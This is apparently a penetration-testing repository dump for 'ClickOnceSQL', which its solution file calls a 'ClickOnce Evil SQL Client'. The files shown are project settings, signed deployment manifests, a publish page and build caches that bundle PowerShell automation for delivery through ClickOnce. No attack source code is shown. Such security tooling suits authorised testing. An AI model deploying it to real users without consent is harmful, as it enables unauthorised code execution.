Files/ClickOnceSQL_1_0_0_5/System.Management.Automation.dll.deploy -------------------------------------------------------------------------------- /ClickOnceSQL/ClickOnceSQL.application: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | vFZyxcC2V4FtJ94Q8dLBCEiXCbkjSS2qxHi+P8aeYoU= 25 | 26 | 27 | 28 | 2/M5Gy8+J1k2+7CeMN2x7P5rZcy1qHR4Rv8n34FQgl0=jbDh9Fkaw1u/vUtyzeV8+2sA3diEJOB0DK13JLYdK2MIyxdPnW8L1NEH7QdCh5gnie/zDeSbV+zBn2f4ZnqSxaK5ucrsjqAyCw+3T0osN3IBrHJ0Z52V1TqJlchy65f6jMKKaQU2VOteVIageWbb0NGklJ0apwqHN6y6iag8i1g=qDZ57Ls2xf43LmS5y4KM70qAG0CK7168Kw/asbQhSd6AIw/2lEQyLPqiNrpUqkId7phxF6LH/MNjHXFvDmkqoVDo35agIvb2S72t2FNGFhiir6IP+Wn8EoOTfWApWILJBKaXQtzcvS2pHJ5tCeS0Mrx937zhwFSfr2YwjYLOlwU=AQABCN=NETSPI\sClickOnceSQL6HYO1P8SpDlpMCndfQzjFcr9Rt/ZAeMKnBXPEa8MFiI=hrScXkO9xYlc6YI7BLwmMvGgjl2Jbsjmz9UPPjR7GawOoRsG/BdUANFhsI8UvVI7RB/2X3U6SxYBKKIIK+BlLvsq2atRRqCSxTpePgGaxZA1T/ZYJvRrwsgPGx1dtfFtyO7iMQ7qlEvKb0SFpSa2Z2Aapo4v4ia7lZbOwzTufy8=qDZ57Ls2xf43LmS5y4KM70qAG0CK7168Kw/asbQhSd6AIw/2lEQyLPqiNrpUqkId7phxF6LH/MNjHXFvDmkqoVDo35agIvb2S72t2FNGFhiir6IP+Wn8EoOTfWApWILJBKaXQtzcvS2pHJ5tCeS0Mrx937zhwFSfr2YwjYLOlwU=AQABMIIB4TCCAUqgAwIBAgIQfSK0I32WW55AktO/EQE2nDANBgkqhkiG9w0BAQsFADAvMS0wKwYDVQQDHiQATgBFAFQAUwBQAEkAXABzAHMAdQB0AGgAZQByAGwAYQBuAGQwHhcNMjAwNjE3MDAwMjUzWhcNMjEwNjE3MDYwMjUzWjAvMS0wKwYDVQQDHiQATgBFAFQAUwBQAEkAXABzAHMAdQB0AGgAZQByAGwAYQBuAGQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKg2eey7NsX+Ny5kucuCjO9KgBtAiu9evCsP2rG0IUnegCMP9pREMiz6oja6VKpCHe6YcReix/zDYx1xbw5pKqFQ6N+WoCL29ku9rdhTRhYYoq+iD/lp/BKDk31gKViCyQSml0Lc3L0tqRyebQnktDK8fd+84cBUn69mMI2CzpcFAgMBAAEwDQYJKoZIhvcNAQELBQADgYEAExdMdX6WXpUaTzDNg/9fLGDDtCVJ+uVhBxlvJfq284leJVHlZ10Y40NfNGIG6Xo74k+BiHotaJDkcRL0BDaqGSm+kYfCUoO/EwiI7KARShUVVlav+74ttQnZ8FJEam5FNvS/d11ttjvQbnVF9LGAJCRkb8QgIT2zPe5GOxt5D34= -------------------------------------------------------------------------------- /ClickOnceSQL/ClickOnceSQL.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {06260CE5-61F4-4B81-AD83-7D01C3B37921} 8 | Exe 9 | Properties 10 | ClickOnceSQL 11 | ClickOnceSQL 12 | v4.5.2 13 | 512 14 | true 15 | false 16 | \\127.0.0.1\c%24\temp\ClickOnceSQL\ 17 | true 18 | Unc 19 | true 20 | Foreground 21 | 7 22 | Days 23 | false 24 | false 25 | true 26 | \\127.0.0.1\c%24\temp\ClickOnceSQL\ 27 | true 28 | publish.htm 29 | 6 30 | 1.0.0.%2a 31 | false 32 | true 33 | true 34 | 35 | 36 | AnyCPU 37 | true 38 | full 39 | false 40 | bin\Debug\ 41 | DEBUG;TRACE 42 | prompt 43 | 4 44 | 45 | 46 | AnyCPU 47 | pdbonly 48 | true 49 | bin\Release\ 50 | DEBUG;TRACE 51 | prompt 52 | 4 53 | true 54 | 55 | 56 | 41283D758F4442A95E805E1C6E4456BD93FCE244 57 | 58 | 59 | ClickOnceSQL_TemporaryKey.pfx 60 | 61 | 62 | true 63 | 64 | 65 | true 66 | 67 | 68 | true 69 | 70 | 71 | ClickOnceSQL_TemporaryKey.pfx 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | False 80 | ..\..\..\..\..\..\..\Program Files (x86)\Reference Assemblies\Microsoft\WindowsPowerShell\3.0\System.Management.Automation.dll 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | Always 97 | 98 | 99 | 100 | 101 | 102 | False 103 | Microsoft .NET Framework 4.5.2 %28x86 and x64%29 104 | true 105 | 106 | 107 | False 108 | .NET Framework 3.5 SP1 109 | false 110 | 111 | 112 | 113 | 120 | -------------------------------------------------------------------------------- /ClickOnceSQL/ClickOnceSQL.csproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | \\127.0.0.1\c%24\temp\ClickOnceSQL\|\\127.0.0.1\c%24\users\Public\|\\127.0.0.1\c%24\temp\|C:\temp\|C:\Pentest\detective\ 5 | \\127.0.0.1\c%24\temp\ClickOnceSQL\|\\127.0.0.1\c%24\users\Public\|\\127.0.0.1\c%24\temp\|http://127.0.0.1/|http://wite.com/ 6 | 7 | 8 | 9 | 10 | en-US 11 | false 12 | 13 | 14 | false 15 | 16 | -------------------------------------------------------------------------------- /ClickOnceSQL/ClickOnceSQL.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.27703.2047 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ClickOnceSQL", "ClickOnceSQL.csproj", "{06260CE5-61F4-4B81-AD83-7D01C3B37921}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | Description = ClickOnce Evil SQL Client 13 | EndGlobalSection 14 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 15 | {06260CE5-61F4-4B81-AD83-7D01C3B37921}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 16 | {06260CE5-61F4-4B81-AD83-7D01C3B37921}.Debug|Any CPU.Build.0 = Debug|Any CPU 17 | {06260CE5-61F4-4B81-AD83-7D01C3B37921}.Release|Any CPU.ActiveCfg = Release|Any CPU 18 | {06260CE5-61F4-4B81-AD83-7D01C3B37921}.Release|Any CPU.Build.0 = Release|Any CPU 19 | EndGlobalSection 20 | GlobalSection(SolutionProperties) = preSolution 21 | HideSolutionNode = FALSE 22 | EndGlobalSection 23 | GlobalSection(ExtensibilityGlobals) = postSolution 24 | SolutionGuid = {1C5B9345-ACD4-443D-A2EA-3096596AE629} 25 | EndGlobalSection 26 | EndGlobal 27 | -------------------------------------------------------------------------------- /ClickOnceSQL/ClickOnceSQL_TemporaryKey.pfx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/ClickOnceSQL_TemporaryKey.pfx -------------------------------------------------------------------------------- /ClickOnceSQL/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("ClickOnceSQL")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("ClickOnceSQL")] 13 | [assembly: AssemblyCopyright("Copyright © 2020")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("06260ce5-61f4-4b81-ad83-7d01c3b37921")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /ClickOnceSQL/README.txt: -------------------------------------------------------------------------------- 1 | Basic instructions. 2 | 3 | 1. Open solution. 4 | 2. Publish to desire location. 5 | 3. Launch from publish.htm. 6 | 7 | Alternative, copy to c:\temp\ClickOnceSQL and run publish.htm. -------------------------------------------------------------------------------- /ClickOnceSQL/bin/Release/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /ClickOnceSQL/bin/Release/ClickOnceSQL.application: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | LCe/5H8TUz23V0mGjZdhkvxZRt5BTcJpgv/O3NlOkMc= 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /ClickOnceSQL/bin/Release/ClickOnceSQL.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/bin/Release/ClickOnceSQL.exe -------------------------------------------------------------------------------- /ClickOnceSQL/bin/Release/ClickOnceSQL.exe.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /ClickOnceSQL/bin/Release/ClickOnceSQL.exe.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | en7cSzFpXDxuQQpEss6wMV8mhFtfz/v2XAS3BDRmne4= 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | lkhv2UhjSeLBPorr/OgzCviQcmv6IIaZUQLkNI+1HZQ= 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 6N7MliNbVJSIAIPrecIshMbZ7zEoKLr5SQvud4LDUOw= 85 | 86 | 87 | -------------------------------------------------------------------------------- /ClickOnceSQL/bin/Release/ClickOnceSQL.html: -------------------------------------------------------------------------------- 1 | 2 | ClickOnceSQL 3 | 4 | 5 | 6 | ClickOnceSQL 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /ClickOnceSQL/bin/Release/ClickOnceSQL.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/bin/Release/ClickOnceSQL.pdb -------------------------------------------------------------------------------- /ClickOnceSQL/bin/Release/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/bin/Release/System.Management.Automation.dll -------------------------------------------------------------------------------- /ClickOnceSQL/bin/Release/app.publish/Application Files/ClickOnceSQL_1_0_0_5/ClickOnceSQL.exe.config.deploy: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /ClickOnceSQL/bin/Release/app.publish/Application Files/ClickOnceSQL_1_0_0_5/ClickOnceSQL.exe.deploy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/bin/Release/app.publish/Application Files/ClickOnceSQL_1_0_0_5/ClickOnceSQL.exe.deploy -------------------------------------------------------------------------------- /ClickOnceSQL/bin/Release/app.publish/Application Files/ClickOnceSQL_1_0_0_5/ClickOnceSQL.exe.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | en7cSzFpXDxuQQpEss6wMV8mhFtfz/v2XAS3BDRmne4= 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | lkhv2UhjSeLBPorr/OgzCviQcmv6IIaZUQLkNI+1HZQ= 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 6N7MliNbVJSIAIPrecIshMbZ7zEoKLr5SQvud4LDUOw= 85 | 86 | 87 | HW3xcBc97JHtRzr6FnnTbq755VGCuRKO37SdGYTZIBw=VazDOatWn7hzQwcaoS+vNDWfk51IDqOnmOmYTP6HJFQrGWSnkzNBi0lTuPlvt86v6O6SUk8OWwJuwxuiRGrgbV5WDXe9+PRGZ1uKwk1Y/2oiUgmQF4N1zltg8EAeC9wSuHCsY1C0hMXrMRARrLVWkax0aLL9EW7PkM8XF3t9BkA=qDZ57Ls2xf43LmS5y4KM70qAG0CK7168Kw/asbQhSd6AIw/2lEQyLPqiNrpUqkId7phxF6LH/MNjHXFvDmkqoVDo35agIvb2S72t2FNGFhiir6IP+Wn8EoOTfWApWILJBKaXQtzcvS2pHJ5tCeS0Mrx937zhwFSfr2YwjYLOlwU=AQABCN=NETSPI\ssutherlandSuRjfKtatyUy6Bc5+6iSmziXuEV5BVIj/YrOUGe0CNM=VVV3TNOn4QsoBSxZ4haaVtGUNUkXKADn/bOYP7IYE0kuPY2d5YSpRQt1FAdCIGyY3Hebzxtt4VVmD2zWrPWE7gCXcYc3vUktS45/wOMMdLMJxIPTd0O55uBCxgBrsA86FnvMMwjzfmH7yJZyI9uh70rA3yo3FKzAzXF1093zm6Q=qDZ57Ls2xf43LmS5y4KM70qAG0CK7168Kw/asbQhSd6AIw/2lEQyLPqiNrpUqkId7phxF6LH/MNjHXFvDmkqoVDo35agIvb2S72t2FNGFhiir6IP+Wn8EoOTfWApWILJBKaXQtzcvS2pHJ5tCeS0Mrx937zhwFSfr2YwjYLOlwU=AQABMIIB4TCCAUqgAwIBAgIQfSK0I32WW55AktO/EQE2nDANBgkqhkiG9w0BAQsFADAvMS0wKwYDVQQDHiQATgBFAFQAUwBQAEkAXABzAHMAdQB0AGgAZQByAGwAYQBuAGQwHhcNMjAwNjE3MDAwMjUzWhcNMjEwNjE3MDYwMjUzWjAvMS0wKwYDVQQDHiQATgBFAFQAUwBQAEkAXABzAHMAdQB0AGgAZQByAGwAYQBuAGQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKg2eey7NsX+Ny5kucuCjO9KgBtAiu9evCsP2rG0IUnegCMP9pREMiz6oja6VKpCHe6YcReix/zDYx1xbw5pKqFQ6N+WoCL29ku9rdhTRhYYoq+iD/lp/BKDk31gKViCyQSml0Lc3L0tqRyebQnktDK8fd+84cBUn69mMI2CzpcFAgMBAAEwDQYJKoZIhvcNAQELBQADgYEAExdMdX6WXpUaTzDNg/9fLGDDtCVJ+uVhBxlvJfq284leJVHlZ10Y40NfNGIG6Xo74k+BiHotaJDkcRL0BDaqGSm+kYfCUoO/EwiI7KARShUVVlav+74ttQnZ8FJEam5FNvS/d11ttjvQbnVF9LGAJCRkb8QgIT2zPe5GOxt5D34= -------------------------------------------------------------------------------- /ClickOnceSQL/bin/Release/app.publish/Application Files/ClickOnceSQL_1_0_0_5/System.Management.Automation.dll.deploy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/bin/Release/app.publish/Application Files/ClickOnceSQL_1_0_0_5/System.Management.Automation.dll.deploy -------------------------------------------------------------------------------- /ClickOnceSQL/bin/Release/app.publish/ClickOnceSQL.application: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | vFZyxcC2V4FtJ94Q8dLBCEiXCbkjSS2qxHi+P8aeYoU= 25 | 26 | 27 | 28 | 2/M5Gy8+J1k2+7CeMN2x7P5rZcy1qHR4Rv8n34FQgl0=jbDh9Fkaw1u/vUtyzeV8+2sA3diEJOB0DK13JLYdK2MIyxdPnW8L1NEH7QdCh5gnie/zDeSbV+zBn2f4ZnqSxaK5ucrsjqAyCw+3T0osN3IBrHJ0Z52V1TqJlchy65f6jMKKaQU2VOteVIageWbb0NGklJ0apwqHN6y6iag8i1g=qDZ57Ls2xf43LmS5y4KM70qAG0CK7168Kw/asbQhSd6AIw/2lEQyLPqiNrpUqkId7phxF6LH/MNjHXFvDmkqoVDo35agIvb2S72t2FNGFhiir6IP+Wn8EoOTfWApWILJBKaXQtzcvS2pHJ5tCeS0Mrx937zhwFSfr2YwjYLOlwU=AQABCN=NETSPI\ssutherland6HYO1P8SpDlpMCndfQzjFcr9Rt/ZAeMKnBXPEa8MFiI=hrScXkO9xYlc6YI7BLwmMvGgjl2Jbsjmz9UPPjR7GawOoRsG/BdUANFhsI8UvVI7RB/2X3U6SxYBKKIIK+BlLvsq2atRRqCSxTpePgGaxZA1T/ZYJvRrwsgPGx1dtfFtyO7iMQ7qlEvKb0SFpSa2Z2Aapo4v4ia7lZbOwzTufy8=qDZ57Ls2xf43LmS5y4KM70qAG0CK7168Kw/asbQhSd6AIw/2lEQyLPqiNrpUqkId7phxF6LH/MNjHXFvDmkqoVDo35agIvb2S72t2FNGFhiir6IP+Wn8EoOTfWApWILJBKaXQtzcvS2pHJ5tCeS0Mrx937zhwFSfr2YwjYLOlwU=AQABMIIB4TCCAUqgAwIBAgIQfSK0I32WW55AktO/EQE2nDANBgkqhkiG9w0BAQsFADAvMS0wKwYDVQQDHiQATgBFAFQAUwBQAEkAXABzAHMAdQB0AGgAZQByAGwAYQBuAGQwHhcNMjAwNjE3MDAwMjUzWhcNMjEwNjE3MDYwMjUzWjAvMS0wKwYDVQQDHiQATgBFAFQAUwBQAEkAXABzAHMAdQB0AGgAZQByAGwAYQBuAGQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKg2eey7NsX+Ny5kucuCjO9KgBtAiu9evCsP2rG0IUnegCMP9pREMiz6oja6VKpCHe6YcReix/zDYx1xbw5pKqFQ6N+WoCL29ku9rdhTRhYYoq+iD/lp/BKDk31gKViCyQSml0Lc3L0tqRyebQnktDK8fd+84cBUn69mMI2CzpcFAgMBAAEwDQYJKoZIhvcNAQELBQADgYEAExdMdX6WXpUaTzDNg/9fLGDDtCVJ+uVhBxlvJfq284leJVHlZ10Y40NfNGIG6Xo74k+BiHotaJDkcRL0BDaqGSm+kYfCUoO/EwiI7KARShUVVlav+74ttQnZ8FJEam5FNvS/d11ttjvQbnVF9LGAJCRkb8QgIT2zPe5GOxt5D34= -------------------------------------------------------------------------------- /ClickOnceSQL/bin/Release/app.publish/ClickOnceSQL.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/bin/Release/app.publish/ClickOnceSQL.exe -------------------------------------------------------------------------------- /ClickOnceSQL/bin/Release/app.publish/publish.htm: -------------------------------------------------------------------------------- 1 |  2 | 3 | ClickOnceSQL 4 | 5 | 48 | 49 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 160 | 161 |
127 | 128 | 129 |
 
Name:ClickOnceSQL
 
Version:1.0.0.5
 
Publisher:
 
130 | 131 | 132 | 133 | 134 |
The following prerequisites are required:
 
    135 |
  • Microsoft .NET Framework 4.5.2 (x86 and x64)
    • 136 |
137 | If these components are already installed, you can launch the application now. Otherwise, click the button below to install the prerequisites and run the application. 138 |
 
139 | 140 | 141 | 142 |
143 | 144 |
Install
 
155 | 156 |
ClickOnce and .NET Framework Resources 157 |
158 | 159 |
162 | 163 | -------------------------------------------------------------------------------- /ClickOnceSQL/bin/Release/app.publish/setup.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/bin/Release/app.publish/setup.exe -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Debug/ClickOnce-Psh-Template.csproj.CopyComplete: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Debug/ClickOnce-Psh-Template.csproj.CopyComplete -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Debug/ClickOnce-Psh-Template.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 4f0674074156ac807f4abbb8d92e585f365be884 2 | -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Debug/ClickOnce-Psh-Template.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\ssutherland\Documents\Visual Studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\bin\Debug\ConsoleApplication2.exe.config 2 | C:\Users\ssutherland\Documents\Visual Studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\bin\Debug\ConsoleApplication2.exe.manifest 3 | C:\Users\ssutherland\Documents\Visual Studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\bin\Debug\ConsoleApplication2.application 4 | C:\Users\ssutherland\Documents\Visual Studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\bin\Debug\ConsoleApplication2.exe 5 | C:\Users\ssutherland\Documents\Visual Studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\bin\Debug\ConsoleApplication2.pdb 6 | C:\Users\ssutherland\Documents\Visual Studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\bin\Debug\System.Management.Automation.dll 7 | C:\Users\ssutherland\Documents\Visual Studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\obj\Debug\ConsoleApplication2.exe.manifest 8 | C:\Users\ssutherland\Documents\Visual Studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\obj\Debug\ConsoleApplication2.application 9 | C:\Users\ssutherland\Documents\Visual Studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\obj\Debug\ConsoleApplication2.exe 10 | C:\Users\ssutherland\Documents\Visual Studio 2015\Projects\ConsoleApplication2\ConsoleApplication2\obj\Debug\ConsoleApplication2.pdb 11 | C:\Pentest\detective\ClickOnce Template-ish\ConsoleApplication2\ConsoleApplication2\bin\Debug\ConsoleApplication2.exe.config 12 | C:\Pentest\detective\ClickOnce Template-ish\ConsoleApplication2\ConsoleApplication2\obj\Debug\ConsoleApplication2.exe 13 | C:\Pentest\detective\ClickOnce Template-ish\ConsoleApplication2\ConsoleApplication2\obj\Debug\ConsoleApplication2.pdb 14 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Debug\ClickOnce-Psh-Template.csprojAssemblyReference.cache 15 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Debug\ClickOnce-Psh-Template.csproj.CoreCompileInputs.cache 16 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Debug\ConsoleApplication2.exe 17 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Debug\ConsoleApplication2.pdb 18 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Debug\ConsoleApplication2.exe.config 19 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Debug\ConsoleApplication2.exe.manifest 20 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Debug\ConsoleApplication2.application 21 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Debug\ConsoleApplication2.exe 22 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Debug\ConsoleApplication2.pdb 23 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\bin\Debug\System.Management.Automation.dll 24 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Debug\ConsoleApplication2.exe.manifest 25 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Debug\ConsoleApplication2.application 26 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ConsoleApplication2\obj\Debug\ClickOnce-Psh-Template.csproj.CopyComplete 27 | -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Debug/ClickOnce-Psh-Template.csprojAssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Debug/ClickOnce-Psh-Template.csprojAssemblyReference.cache -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Debug/ClickOnceSQL.csproj.CopyComplete: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/obj/Debug/ClickOnceSQL.csproj.CopyComplete -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Debug/ClickOnceSQL.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 392aa5c72bc25f7a2286f7ef93237fcac0d6c653 2 | -------------------------------------------------------------------------------- /ClickOnceSQL/obj/Debug/ClickOnceSQL.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\bin\Debug\ConsoleApplication2.exe.config 2 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\bin\Debug\ConsoleApplication2.exe.manifest 3 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\bin\Debug\ConsoleApplication2.application 4 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\bin\Debug\ConsoleApplication2.exe 5 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\bin\Debug\ConsoleApplication2.pdb 6 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\bin\Debug\System.Management.Automation.dll 7 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Debug\ClickOnceSQL.csprojAssemblyReference.cache 8 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Debug\ClickOnceSQL.csproj.CoreCompileInputs.cache 9 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Debug\ConsoleApplication2.exe.manifest 10 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Debug\ConsoleApplication2.application 11 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Debug\ClickOnceSQL.csproj.CopyComplete 12 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio Project\ClickOnceSQL\obj\Debug\ConsoleApplication2.exe 13 | C:\Users\ssutherland\Downloads\ClickOnce-PowerShell-master\ClickOnce-PowerShell-master\Visual Studio 